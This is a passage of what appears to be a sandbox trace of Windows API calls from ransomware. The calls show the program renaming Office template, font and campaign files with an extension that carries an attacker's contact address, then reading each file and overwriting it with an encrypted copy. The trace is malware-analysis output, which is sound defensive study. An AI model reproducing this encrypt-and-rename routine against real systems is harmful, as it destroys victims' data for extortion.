(HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0201.019] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.019] WriteFile (in: hFile=0x4bc, lpBuffer=0x711d230*, nNumberOfBytesToWrite=0x72a0, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x711d230*, lpNumberOfBytesWritten=0x523ff0c*=0x72a0, lpOverlapped=0x0) returned 1 [0201.019] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.019] WriteFile (in: hFile=0x4bc, lpBuffer=0x71244cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71244cf*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.019] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.019] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.019] CloseHandle (hObject=0x4bc) returned 1 [0201.019] GetProcessHeap () returned 0x630000 [0201.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x711d230 | out: hHeap=0x630000) returned 1 [0201.020] GetProcessHeap () returned 0x630000 [0201.020] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7458538 | out: hHeap=0x630000) returned 1 [0201.020] GetProcessHeap () returned 0x630000 [0201.020] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0201.020] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.020] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3dc3f1d3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x72ca, dwReserved0=0xa0c7496, dwReserved1=0x7458530, cFileName="BloodPressureTracker.xltx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLOODP~1.FIR")) returned 0x6d5580 [0201.020] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0201.020] Sleep (dwMilliseconds=0x1) [0202.726] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql2000.xsl", len=0x7b | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql2000.xsl") returned 1 [0202.726] GetProcessHeap () returned 0x630000 [0202.726] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4bfc) returned 0x7133a90 [0202.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0203.079] CloseHandle (hObject=0x69c) returned 1 [0203.079] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.079] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.306] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.348] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d70354, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d70354, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x858c, dwReserved0=0x640069, dwReserved1=0x31002d, cFileName="sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL200~1.FIR")) returned 0x6d4f80 [0203.349] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0203.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0203.349] GetProcessHeap () returned 0x630000 [0203.349] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x85a1) returned 0x73a7c30 [0203.349] GetProcessHeap () returned 0x630000 [0203.349] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x85a1) returned 0x73005d8 [0203.350] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.350] ReadFile (in: hFile=0x69c, lpBuffer=0x73a7c30, nNumberOfBytesToRead=0x8580, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73a7c30*, lpNumberOfBytesRead=0x523ff0c*=0x8580, lpOverlapped=0x0) returned 1 [0209.669] GetProcessHeap () returned 0x630000 [0209.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0209.669] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.669] WriteFile (in: hFile=0x69c, lpBuffer=0x73005d8*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005d8*, lpNumberOfBytesWritten=0x523ff0c*=0x8580, lpOverlapped=0x0) returned 1 [0209.669] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.669] WriteFile (in: hFile=0x69c, lpBuffer=0x7308b57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7308b57*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0209.670] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.670] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0209.670] CloseHandle (hObject=0x69c) returned 1 [0209.670] GetProcessHeap () returned 0x630000 [0209.670] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73005d8 | out: hHeap=0x630000) returned 1 [0209.670] GetProcessHeap () returned 0x630000 [0209.670] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73a7c30 | out: hHeap=0x630000) returned 1 [0209.670] GetProcessHeap () returned 0x630000 [0209.670] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0209.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0209.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d70354, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d70354, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x42ec924c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x85b0, dwReserved0=0xa0c7496, dwReserved1=0x73a7c28, cFileName="sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL200~1.FIR")) returned 0x6d53c0 [0209.670] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0209.670] Sleep (dwMilliseconds=0x1) [0211.442] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX", len=0x6f | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX") returned 1 [0211.442] GetProcessHeap () returned 0x630000 [0211.442] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e44) returned 0x6fe4288 [0211.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0211.443] CloseHandle (hObject=0x66c) returned 1 [0211.443] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0211.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0211.444] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0211.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0xff00b748, dwReserved1=0x63005b, cFileName="WHGTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WHGTXT~1.FIR")) returned 0x6d5540 [0211.444] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0211.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0211.444] GetProcessHeap () returned 0x630000 [0211.444] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee88b8 [0211.444] GetProcessHeap () returned 0x630000 [0211.444] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d5490 [0211.444] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.444] ReadFile (in: hFile=0x66c, lpBuffer=0x6ee88b8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88b8*, lpNumberOfBytesRead=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0218.380] GetProcessHeap () returned 0x630000 [0218.380] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0218.380] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.380] WriteFile (in: hFile=0x66c, lpBuffer=0x71d5490*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesWritten=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0218.381] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.381] WriteFile (in: hFile=0x66c, lpBuffer=0x71e088f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e088f*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.382] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.382] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.382] CloseHandle (hObject=0x66c) returned 1 [0218.382] GetProcessHeap () returned 0x630000 [0218.382] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0218.382] GetProcessHeap () returned 0x630000 [0218.382] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee88b8 | out: hHeap=0x630000) returned 1 [0218.382] GetProcessHeap () returned 0x630000 [0218.382] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0218.382] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.383] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x481c67dd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2fe09, dwReserved0=0xa0c7496, dwReserved1=0x6ee88b0, cFileName="WHGTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WHGTXT~1.FIR")) returned 0x6d4f40 [0218.383] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0218.383] Sleep (dwMilliseconds=0x1) [0218.385] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x523ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgrade.xml") returned 1 [0218.385] GetProcessHeap () returned 0x630000 [0218.385] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5074) returned 0x6fe3bb0 [0218.385] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0218.386] CloseHandle (hObject=0x66c) returned 1 [0218.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.386] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4ec0 [0218.390] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0218.390] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0218.390] GetProcessHeap () returned 0x630000 [0218.390] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6f0750 [0218.390] GetProcessHeap () returned 0x630000 [0218.390] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6f09f8 [0218.390] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.390] ReadFile (in: hFile=0x66c, lpBuffer=0x6f0750, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0750*, lpNumberOfBytesRead=0x523ff0c*=0x260, lpOverlapped=0x0) returned 1 [0218.395] GetProcessHeap () returned 0x630000 [0218.395] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0218.395] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.395] WriteFile (in: hFile=0x66c, lpBuffer=0x6f09f8*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f09f8*, lpNumberOfBytesWritten=0x523ff0c*=0x260, lpOverlapped=0x0) returned 1 [0218.395] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.395] WriteFile (in: hFile=0x66c, lpBuffer=0x6f0c57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0c57*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.395] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.395] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.395] CloseHandle (hObject=0x66c) returned 1 [0218.395] GetProcessHeap () returned 0x630000 [0218.395] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f09f8 | out: hHeap=0x630000) returned 1 [0218.395] GetProcessHeap () returned 0x630000 [0218.395] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f0750 | out: hHeap=0x630000) returned 1 [0218.395] GetProcessHeap () returned 0x630000 [0218.395] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0218.395] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x481ec994, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x523fd20, dwReserved1=0x6f0750, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4e40 [0218.396] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0218.396] Sleep (dwMilliseconds=0x1) [0218.401] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\index.html", len=0x6f | out: pbstr=0x523ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\index.html") returned 1 [0218.401] GetProcessHeap () returned 0x630000 [0218.401] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5070) returned 0x6fe3bb0 [0218.401] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c 